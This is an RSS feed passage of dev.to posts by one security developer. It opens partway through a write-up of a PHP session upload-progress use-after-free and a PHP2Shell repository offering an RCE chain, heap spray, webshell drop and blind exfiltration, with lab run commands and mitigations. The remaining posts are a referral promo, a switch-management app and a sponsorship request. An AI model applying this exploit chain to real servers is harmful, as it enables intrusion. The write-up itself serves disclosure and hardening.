&lt;p&gt;Simplified flow from the research:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Phase 1&lt;/strong&gt; — POST multipart with &lt;code&gt;PHP_SESSION_UPLOAD_PROGRESS&lt;/code&gt; → rfc1867 callback caches &lt;code&gt;zval*&lt;/code&gt; into &lt;code&gt;arData&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stall&lt;/strong&gt; — wait longer than &lt;code&gt;min_freq&lt;/code&gt; → &lt;code&gt;php_session_initialize()&lt;/code&gt; / &lt;code&gt;php_session_track_init()&lt;/code&gt; frees the HashTable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Phase 2&lt;/strong&gt; — send another &lt;code&gt;FILE_DATA&lt;/code&gt; chunk on the same connection → &lt;code&gt;ZVAL_LONG&lt;/code&gt; writes through the stale pointer (&lt;strong&gt;UAF write&lt;/strong&gt;).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The vendor fix removes the long-lived &lt;code&gt;zval*&lt;/code&gt; cache and re-derives the target pointer on each write instead of keeping it across the stall window. Credit for the original research goes to &lt;strong&gt;Ahmed Sultan (0x4148)&lt;/strong&gt; — see also &lt;a href="https://jackalsyn.com/posts/php-up-2026.html" rel="noopener noreferrer"&gt;jackalsyn.com/posts/php-up-2026.html&lt;/a&gt;. The PHP patch was committed around September 2026 (bugs.php.net).&lt;/p&gt;




&lt;h2&gt;
  
  
  What’s in the PHP2Shell repo
&lt;/h2&gt;

&lt;p&gt;I packaged the research so others can reproduce and harden against it safely:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;poc.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Full RCE exploit chain with multiple fallback paths&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;lab-uaf/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Docker lab that reproduces the UAF primitive on PHP 8.4.4-FPM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;lab/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Apache-based lab for the session-poison + LFI RCE chain&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  UAF lab (primitive)
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;lab-uaf&lt;/code&gt; reproduces the stale-pointer write on stock PHP-FPM (no ASAN, no debug build). Typical flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/syrex1013/php2shell
&lt;span class="nb"&gt;cd &lt;/span&gt;php2shell/lab-uaf
docker compose up &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;--build&lt;/span&gt;
python3 scripts/php2shell_poc.py &lt;span class="nt"&gt;--monitor&lt;/span&gt; &lt;span class="nt"&gt;--rounds&lt;/span&gt; 5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Successful arming looks like: session status 200, &lt;code&gt;bytes_processed&lt;/code&gt; updated, and confirmation that cached &lt;code&gt;zval*&lt;/code&gt; pointers were written through (stale path reached).&lt;/p&gt;

&lt;p&gt;There is also a &lt;strong&gt;heap spray&lt;/strong&gt; mode (&lt;code&gt;--spray N&lt;/code&gt;) that prepends dummy file parts sized to exhaust the ZendMM 256-byte bin (matching an 8-entry session HashTable &lt;code&gt;arData&lt;/code&gt;), raising the odds that the stale write hits a live allocation rather than a quietly reallocated table.&lt;/p&gt;

&lt;h3&gt;
  
  
  RCE chain (&lt;code&gt;poc.py&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;Against a vulnerable PHP web app, &lt;code&gt;poc.py&lt;/code&gt; tries several stages ordered by reliability:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Session poison + LFI&lt;/strong&gt; — needs something like &lt;code&gt;include($_GET[...])&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log poisoning + LFI&lt;/strong&gt; — needs a readable access log via LFI&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FastCGI direct (no LFI)&lt;/strong&gt; — php-fpm reachable on common ports (e.g. 9000–9003)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PEAR webshell drop&lt;/strong&gt; — when &lt;code&gt;/usr/share/php/pearcmd.php&lt;/code&gt; is accessible&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example against the Apache lab:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;lab
docker compose up &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;--build&lt;/span&gt;
python3 ../poc.py http://localhost:8888/index.php &lt;span class="s2"&gt;"id"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--lfi-param&lt;/span&gt; page &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--chunk-delay&lt;/span&gt; 0.01 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--chunk-size&lt;/span&gt; 128
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On success you should see RCE confirmed via session+LFI and command output from the web user (e.g. &lt;code&gt;www-data&lt;/code&gt;). The tool also supports interactive shell (&lt;code&gt;-i&lt;/code&gt;), probe-only mode, and blind callback exfiltration when you cannot read output on-target.&lt;/p&gt;

&lt;p&gt;I’m keeping this post at the architecture level. Full options and labs live in the &lt;a href="https://github.com/syrex1013/php2shell" rel="noopener noreferrer"&gt;repo README&lt;/a&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Mitigation
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Immediate (no patch required):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;; php.ini
&lt;/span&gt;&lt;span class="py"&gt;session.upload_progress.enabled&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;Off&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Proper fix:&lt;/strong&gt; upgrade PHP to the fixed release for your branch — &lt;strong&gt;8.2.35+&lt;/strong&gt;, &lt;strong&gt;8.3.36+&lt;/strong&gt;, &lt;strong&gt;8.4.27+&lt;/strong&gt;, or &lt;strong&gt;8.5.12+&lt;/strong&gt;. EOL branches (≤ 8.1) will not get a backport; plan a version jump.&lt;/p&gt;

&lt;p&gt;Also review apps for LFI, exposed php-fpm, and PEAR endpoints — those turn a memory bug into reliable RCE in the PoC chains above.&lt;/p&gt;




&lt;h2&gt;
  
  
  Responsible use
&lt;/h2&gt;

&lt;p&gt;This work is for &lt;strong&gt;security research and authorized testing only.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Do not run PHP2Shell (or any of these chains) against systems you do not own or do not have &lt;strong&gt;explicit written permission&lt;/strong&gt; to test. Unauthorized use is illegal. The MIT-licensed code in the repo is intended for authorized testing, research, and education; operators remain responsible for how they use it.&lt;/p&gt;

&lt;p&gt;If you find related issues in production, disclose them through your vendor’s process and patch first.&lt;/p&gt;




&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;PoC / research: &lt;a href="https://github.com/syrex1013/php2shell" rel="noopener noreferrer"&gt;https://github.com/syrex1013/php2shell&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;CVE-2026-109618 — &lt;code&gt;post_bytes_processed&lt;/code&gt; stale pointer&lt;/li&gt;
&lt;li&gt;CVE-2026-109619 — &lt;code&gt;current_file_bytes_processed&lt;/code&gt; stale pointer&lt;/li&gt;
&lt;li&gt;Original research: Ahmed Sultan (0x4148)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Closing
&lt;/h2&gt;

&lt;p&gt;Session upload progress is an easy feature to leave on and forget. These CVEs show how a stall-window UAF in that path becomes a serious RCE story once you combine it with common app or deployment mistakes.&lt;/p&gt;

&lt;p&gt;Patch, or turn &lt;code&gt;session.upload_progress.enabled&lt;/code&gt; off until you can. If you want to reproduce the primitive or the chains in a lab you control, start here: &lt;a href="https://github.com/syrex1013/php2shell" rel="noopener noreferrer"&gt;github.com/syrex1013/php2shell&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Questions, lab feedback, or hardening notes — open an issue on the repo or find me as &lt;strong&gt;syrex1013&lt;/strong&gt; on GitHub.&lt;/p&gt;

&lt;p&gt;— Adrian&lt;/p&gt;

</description>
      <category>security</category>
      <category>php</category>
      <category>cve</category>
      <category>infosec</category>
    </item>
    <item>
      <title>Promotion valid till September 15 - Confirmed with the owner!</title>
      <dc:creator>syrex1013</dc:creator>
      <pubDate>Mon, 07 Sep 2026 21:32:47 +0000</pubDate>
      <link>https://dev.to/syrex1013/promotion-valid-till-september-15-confirmed-with-the-owner-2d10</link>
      <guid>https://dev.to/syrex1013/promotion-valid-till-september-15-confirmed-with-the-owner-2d10</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/syrex1013/how-to-try-glm-53-deepseek-v4-flash-and-claude-opus-48-with-200-in-agentrouter-credits-1go2" class="crayons-story__hidden-navigation-link"&gt;How to Try GLM-5.3, DeepSeek V4 Flash, and Claude Opus 4.8 with $200 in AgentRouter Credits&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/syrex1013" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1969043%2Febbcabe5-0205-4b61-bca4-ae66a998d559.jpeg" alt="syrex1013 profile" class="crayons-avatar__image" width="460" height="460"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/syrex1013" class="crayons-story__secondary fw-medium m:hidden"&gt;
              syrex1013
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                syrex1013
                
                
              
              &lt;div id="story-author-preview-content-4595904" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/syrex1013" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1969043%2Febbcabe5-0205-4b61-bca4-ae66a998d559.jpeg" class="crayons-avatar__image" alt="" width="460" height="460"&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;syrex1013&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/syrex1013/how-to-try-glm-53-deepseek-v4-flash-and-claude-opus-48-with-200-in-agentrouter-credits-1go2" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;Sep 7&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/syrex1013/how-to-try-glm-53-deepseek-v4-flash-and-claude-opus-48-with-200-in-agentrouter-credits-1go2" id="article-link-4595904"&gt;
          How to Try GLM-5.3, DeepSeek V4 Flash, and Claude Opus 4.8 with $200 in AgentRouter Credits
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/ai"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;ai&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/programming"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;programming&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/productivity"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;productivity&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/api"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;api&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
            &lt;a href="https://dev.to/syrex1013/how-to-try-glm-53-deepseek-v4-flash-and-claude-opus-48-with-200-in-agentrouter-credits-1go2#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              

              &lt;span class="hidden s:inline"&gt;Add&amp;nbsp;Comment&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            3 min read
          &lt;/small&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
    </item>
    <item>
      <title>How to Try GLM-5.3, DeepSeek V4 Flash, and Claude Opus 4.8 with $200 in AgentRouter Credits</title>
      <dc:creator>syrex1013</dc:creator>
      <pubDate>Mon, 07 Sep 2026 12:19:49 +0000</pubDate>
      <link>https://dev.to/syrex1013/how-to-try-glm-53-deepseek-v4-flash-and-claude-opus-48-with-200-in-agentrouter-credits-1go2</link>
      <guid>https://dev.to/syrex1013/how-to-try-glm-53-deepseek-v4-flash-and-claude-opus-48-with-200-in-agentrouter-credits-1go2</guid>
      <description>&lt;p&gt;If you want to test expensive coding models without immediately paying for API usage, AgentRouter currently offers &lt;strong&gt;$200 in free credits&lt;/strong&gt; after registration.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo1h3192h5wm4n7tz8b0z.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo1h3192h5wm4n7tz8b0z.jpg" alt="AgentRouter.org" width="799" height="377"&gt;&lt;/a&gt;&lt;br&gt;
The interesting part is that you can use it with existing coding harnesses instead of switching to a completely new workflow.&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;Models available include:&lt;br&gt;
*&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GLM-5.3&lt;/li&gt;
&lt;li&gt;DeepSeek V4 Flash&lt;/li&gt;
&lt;li&gt;Claude Opus 4.8&lt;/li&gt;
&lt;li&gt;Other models exposed through AgentRouter&lt;/li&gt;
&lt;li&gt;Registration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;*&lt;em&gt;You can register here:&lt;br&gt;
*&lt;/em&gt;&lt;br&gt;
&lt;a href="https://agentrouter.org/register?aff=sB77" rel="noopener noreferrer"&gt;AgentRouter.org Registration&lt;/a&gt;&lt;br&gt;
Important: log in with an active GitHub account during registration to qualify for the bonus.&lt;/p&gt;

&lt;p&gt;Disclosure: the registration URL above is a referral link.&lt;/p&gt;

&lt;p&gt;Official setup documentation:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://docs.agentrouter.org/en/start.html" rel="noopener noreferrer"&gt;Docs&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The setup is basically the same pattern as most OpenAI-compatible API providers: get your credentials, configure the API endpoint, select the model, and point your coding harness at AgentRouter.&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;What Can You Use It With?&lt;br&gt;
*&lt;/em&gt;&lt;br&gt;
AgentRouter can be used with multiple coding-agent harnesses, including:&lt;/p&gt;

&lt;p&gt;Claude Code&lt;br&gt;
Codex&lt;br&gt;
OMP&lt;br&gt;
Pi&lt;br&gt;
DeepSeek Harness&lt;br&gt;
Other tools that support compatible API providers&lt;/p&gt;

&lt;p&gt;For me, Claude Code has been the easiest setup so far.&lt;/p&gt;

&lt;p&gt;Once the endpoint and credentials are configured, you can keep using your normal coding workflow while switching between different backend models.&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;Why This Is Useful&lt;br&gt;
*&lt;/em&gt;&lt;br&gt;
Running models like Claude Opus regularly through API billing can become expensive very quickly, especially for agentic coding workloads.&lt;/p&gt;

&lt;p&gt;Coding agents tend to generate a lot more tokens than normal chat usage because they repeatedly:&lt;/p&gt;

&lt;p&gt;inspect files,&lt;br&gt;
reason about changes,&lt;br&gt;
call tools,&lt;br&gt;
read tool output,&lt;br&gt;
modify code,&lt;br&gt;
run tests,&lt;br&gt;
repeat the loop.&lt;/p&gt;

&lt;p&gt;That makes free API credits particularly useful for testing.&lt;/p&gt;

&lt;p&gt;Instead of subscribing to another service immediately, you can use the credits to compare models on your actual repositories.&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;What I Would Test&lt;br&gt;
*&lt;/em&gt;&lt;br&gt;
If you are experimenting with coding agents, I would compare the models using the same task.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;p&gt;Analyze this repository.&lt;/p&gt;

&lt;p&gt;Find the root cause of the failing tests.&lt;br&gt;
Implement the smallest correct fix.&lt;br&gt;
Run the relevant tests.&lt;br&gt;
Explain what changed.&lt;/p&gt;

&lt;p&gt;Then compare:&lt;/p&gt;

&lt;p&gt;task completion rate&lt;br&gt;
coding quality&lt;br&gt;
tool-call reliability&lt;br&gt;
reasoning speed&lt;br&gt;
token usage&lt;br&gt;
context handling&lt;br&gt;
how often the agent gets stuck&lt;br&gt;
how well it follows repository conventions&lt;/p&gt;

&lt;p&gt;This gives you a much better comparison than asking each model generic benchmark questions.&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;Suggested Workflow&lt;br&gt;
*&lt;/em&gt;&lt;br&gt;
A simple testing workflow could be:&lt;/p&gt;

&lt;p&gt;Claude Code&lt;br&gt;
    |&lt;br&gt;
    v&lt;br&gt;
AgentRouter&lt;br&gt;
    |&lt;br&gt;
    +-- GLM-5.3&lt;br&gt;
    |&lt;br&gt;
    +-- DeepSeek V4 Flash&lt;br&gt;
    |&lt;br&gt;
    +-- Claude Opus 4.8&lt;/p&gt;

&lt;p&gt;Keep the harness and task identical, and only change the model.&lt;/p&gt;

&lt;p&gt;That makes it easier to see whether differences come from the model itself rather than from different agent frameworks.&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;When It Makes Sense&lt;br&gt;
*&lt;/em&gt;&lt;br&gt;
AgentRouter is probably most useful if you:&lt;/p&gt;

&lt;p&gt;use coding agents heavily&lt;br&gt;
want to compare several frontier models&lt;br&gt;
want temporary access to expensive models&lt;br&gt;
don't want to immediately commit to direct API spending&lt;br&gt;
are experimenting with different coding harnesses&lt;br&gt;
need an OpenAI-compatible model endpoint&lt;/p&gt;

&lt;p&gt;If you already have enough API credits elsewhere, there may not be much reason to switch.&lt;/p&gt;

&lt;p&gt;But for testing several models on real coding workloads, $200 in credits gives you a decent amount of room to experiment.&lt;/p&gt;

&lt;p&gt;Registration:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://agentrouter.org/register?aff=sB77" rel="noopener noreferrer"&gt;AgentRouter.org&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Documentation:&lt;br&gt;
&lt;a href="https://docs.agentrouter.org/en/start.html" rel="noopener noreferrer"&gt;Docs&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Again, make sure you register using an active GitHub account if you want to receive the promotional credits.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>productivity</category>
      <category>api</category>
    </item>
    <item>
      <title>This is a submission for the "GitHub Finish-Up-A-Thon</title>
      <dc:creator>syrex1013</dc:creator>
      <pubDate>Wed, 03 Jun 2026 00:37:53 +0000</pubDate>
      <link>https://dev.to/syrex1013/this-is-a-submission-for-the-github-finish-up-a-thon-8p4</link>
      <guid>https://dev.to/syrex1013/this-is-a-submission-for-the-github-finish-up-a-thon-8p4</guid>
      <description>&lt;p&gt;This is a submission for the "GitHub Finish-Up-A-Thon Challenge" (&lt;a href="https://dev.to/challenges/github-2026-05-21"&gt;https://dev.to/challenges/github-2026-05-21&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;What I Built&lt;/p&gt;

&lt;p&gt;I built ProCurveUI, a modern desktop application that brings legacy HP ProCurve switches into the present.&lt;/p&gt;

&lt;p&gt;The project started from a simple frustration: managing older ProCurve hardware often means dealing with serial cables, outdated TLS implementations, browser-incompatible web interfaces, and CLI workflows that haven't changed in over a decade. While the hardware itself remains reliable and popular in homelabs, the management experience has become increasingly painful.&lt;/p&gt;

&lt;p&gt;ProCurveUI provides a clean graphical interface for interacting with these switches without relying on obsolete browser technologies or legacy management tools. The goal was to extend the useful life of excellent networking hardware by making it easier to configure and manage from modern systems.&lt;/p&gt;

&lt;p&gt;As someone who spends a lot of time building security and infrastructure tooling, I enjoy creating software that removes unnecessary friction from everyday workflows. ProCurveUI is exactly that: a quality-of-life tool for homelab enthusiasts, network engineers, and anyone still running older HP ProCurve gear.&lt;/p&gt;

&lt;p&gt;Repository: &lt;a href="https://github.com/syrex1013/ProCurveUI" rel="noopener noreferrer"&gt;https://github.com/syrex1013/ProCurveUI&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;Demo&lt;/p&gt;

&lt;p&gt;GitHub Repository&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/syrex1013/ProCurveUI" rel="noopener noreferrer"&gt;https://github.com/syrex1013/ProCurveUI&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Screenshots&lt;/p&gt;

&lt;p&gt;Include screenshots showing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Device connection screen&lt;/li&gt;
&lt;li&gt;Switch overview dashboard&lt;/li&gt;
&lt;li&gt;Configuration management interface&lt;/li&gt;
&lt;li&gt;Port management view&lt;/li&gt;
&lt;li&gt;VLAN or network configuration features&lt;/li&gt;
&lt;li&gt;Dark mode interface (if available)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Video Walkthrough&lt;/p&gt;

&lt;p&gt;A short demo showing:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Connecting to a ProCurve switch&lt;/li&gt;
&lt;li&gt;Viewing switch information&lt;/li&gt;
&lt;li&gt;Managing ports and settings&lt;/li&gt;
&lt;li&gt;Applying configuration changes&lt;/li&gt;
&lt;li&gt;Monitoring switch status&lt;/li&gt;
&lt;/ol&gt;




&lt;p&gt;The Comeback Story&lt;/p&gt;

&lt;p&gt;This project sat in the "almost finished" category for longer than I wanted.&lt;/p&gt;

&lt;p&gt;The initial version proved that the concept worked, but there were still rough edges, missing functionality, UI inconsistencies, and documentation gaps that prevented it from feeling complete. Like many side projects, it reached the stage where it was useful to me personally but not yet polished enough for wider adoption.&lt;/p&gt;

&lt;p&gt;For Finish-Up-A-Thon, I focused on turning a prototype into a project that others could actually use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Improved overall application stability&lt;/li&gt;
&lt;li&gt;Refined the user interface and workflow&lt;/li&gt;
&lt;li&gt;Fixed lingering bugs and connection issues&lt;/li&gt;
&lt;li&gt;Cleaned up project structure and code organization&lt;/li&gt;
&lt;li&gt;Improved documentation and usability&lt;/li&gt;
&lt;li&gt;Performed testing against real ProCurve hardware&lt;/li&gt;
&lt;li&gt;Prepared the repository for community contributions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The biggest win wasn't adding a flashy feature—it was taking the time to finish the details that make open-source projects approachable and maintainable.&lt;/p&gt;

&lt;p&gt;Today, ProCurveUI is something I can confidently share with the homelab and networking community.&lt;/p&gt;




&lt;p&gt;My Experience with GitHub Copilot&lt;/p&gt;

&lt;p&gt;GitHub Copilot was especially useful during the polishing phase of the project.&lt;/p&gt;

&lt;p&gt;While building new features is often the exciting part, finishing a project involves a huge amount of repetitive work: refactoring code, improving error handling, writing boilerplate, cleaning up UI components, and documenting functionality.&lt;/p&gt;

&lt;p&gt;Copilot helped accelerate that process by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Generating repetitive UI code&lt;/li&gt;
&lt;li&gt;Assisting with refactoring and cleanup&lt;/li&gt;
&lt;li&gt;Suggesting edge-case handling&lt;/li&gt;
&lt;li&gt;Speeding up debugging sessions&lt;/li&gt;
&lt;li&gt;Helping write documentation and comments&lt;/li&gt;
&lt;li&gt;Reducing context-switching when working across different parts of the codebase&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Instead of spending time writing the same patterns repeatedly, I could focus on improving the user experience and finishing the project.&lt;/p&gt;

&lt;p&gt;For a challenge centered around completing unfinished work, that productivity boost was incredibly valuable.&lt;/p&gt;




&lt;p&gt;Closing Thoughts&lt;/p&gt;

&lt;p&gt;Older networking hardware still has plenty of life left in it. The challenge is usually software, not hardware.&lt;/p&gt;

&lt;p&gt;ProCurveUI is my attempt to modernize the management experience for legacy HP ProCurve switches and make them easier to use in modern homelabs and lab environments.&lt;/p&gt;

&lt;p&gt;If you have old ProCurve equipment sitting in a rack somewhere, I'd love to hear your feedback, bug reports, and feature ideas.&lt;/p&gt;

&lt;p&gt;⭐ GitHub: &lt;a href="https://github.com/syrex1013/ProCurveUI" rel="noopener noreferrer"&gt;https://github.com/syrex1013/ProCurveUI&lt;/a&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>githubchallenge</category>
      <category>ai</category>
      <category>networking</category>
    </item>
    <item>
      <title>I’m live on GitHub Sponsors — and I’d love your support 🙌</title>
      <dc:creator>syrex1013</dc:creator>
      <pubDate>Thu, 13 Nov 2025 23:46:25 +0000</pubDate>
      <link>https://dev.to/syrex1013/im-live-on-github-sponsors-and-id-love-your-support-1ioh</link>
      <guid>https://dev.to/syrex1013/im-live-on-github-sponsors-and-id-love-your-support-1ioh</guid>
      <description>&lt;p&gt;Hi! I’m Adrian Dacka — OSCP-certified security engineer, developer, and open-source creator.&lt;br&gt;
I spend most of my time building security tools, researching real-world attack techniques, and sharing what I learn with the community.&lt;/p&gt;

&lt;p&gt;I’ve just launched my GitHub Sponsors profile!&lt;br&gt;
If my work has helped you, or if you want to support more open-source security projects, you can sponsor me here:&lt;/p&gt;

&lt;p&gt;👉 &lt;a href="https://github.com/sponsors/syrex1013" rel="noopener noreferrer"&gt;https://github.com/sponsors/syrex1013&lt;/a&gt;&lt;/p&gt;

</description>
      <category>github</category>
      <category>opensource</category>
      <category>security</category>
      <category>computerscience</category>
    </item>
  </channel>
</rss>
